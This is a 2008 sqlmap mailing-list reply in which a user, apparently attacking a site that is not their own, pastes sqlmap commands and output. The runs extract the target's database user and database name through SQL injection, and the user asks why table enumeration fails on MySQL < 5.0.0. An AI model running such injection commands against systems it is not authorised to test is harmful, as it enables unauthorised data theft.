Re: [sqlmap-users] MySQL < 5.0.0
Brought to you by:
inquisb
|
From: Freeman Y. <fre...@la...> - 2008-10-21 23:40:46
|
Bernardo Damele A. G. wrote:
> Hi Freeman,
>
> On Tue, Oct 21, 2008 at 07:17, Freeman Y. <fre...@la...> wrote:
>
>> Am I still not able to enumerate tables in a DB even though i have the
>> DB name in MySQL 5.0.0?
>>
>
> In a default configuration of MySQL >= 5.0 there is the
> information_schema system database which sqlmap uses to enumerate DB,
> tables, etc.
>
>
>> I understand that I cannot get a list of DBs because of no
>> information_schema, but even if I have a DB name I cannot enumerate the
>> tables?
>> If not, how else can I attack a 5.0.0 server?
>>
>
> If you read the documentation carefully, or even just run sqlmap with
> -h option, you see that you can provide the DB name with -D option
> together with the --tables option to enumerate its tables.
>
> Cheers,
>
Thanks but I already tried that. Here's the output with the site removed:
/C:\sqlmap>sqlmap -u http://somerandomsite/index.php?id=123 -v 1 --curre
nt-db --current-user
sqlmap/0.6.1 coded by Bernardo Damele A. G. <ber...@gm...>
and Daniele Bellucci <dan...@gm...>
[*] starting at: 16:26:47
[16:26:47] [INFO] testing connection to the target url
[...]
back-end DBMS: MySQL < 5.0.0
[16:27:42] [INFO] fetching current user
[16:27:42] [INFO] query: IFNULL(CAST(CURRENT_USER() AS CHAR(10000)),
CHAR(32))
[16:27:42] [INFO] retrieved: hyweljen_db@localhost
[16:30:33] [INFO] performed 153 queries in 171 seconds
current user: 'hyweljen_db@localhost'
[16:30:33] [INFO] fetching current database
[16:30:33] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
[16:30:33] [INFO] retrieved: hyweljen_diverse
[16:32:38] [INFO] performed 118 queries in 125 seconds
current database: 'hyweljen_diverse'
[16:32:38] [INFO] Fetched data logged to text files under
'C:\sqlmap/output\randomsite'
[*] shutting down at: 16:32:38/
So I've found out that the database is hyweljen_diverse.. then I run this:
/
C:\sqlmap>sqlmap -u http://somerandomsite/index.php?id=123 -v 1 --eta -
-threads=2 -D hyweljen_diverse --tables
sqlmap/0.6.1 coded by Bernardo Damele A. G. <ber...@gm...>
and Daniele Bellucci <dan...@gm...>
[*] starting at: 16:35:20
[16:35:20] [INFO] testing connection to the target url
[...]
[16:36:06] [INFO] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1
[16:36:06] [INFO] retrieved:
[16:36:11] [INFO] performed 6 queries in 5 seconds
back-end DBMS: MySQL < 5.0.0
[16:36:11] [ERROR] information_schema not available, back-end DBMS is
MySQL < 5.
0
[*] shutting down at: 16:36:11/
If you look I did use -D and then --tables. What am I doing wrong?
Thanks
|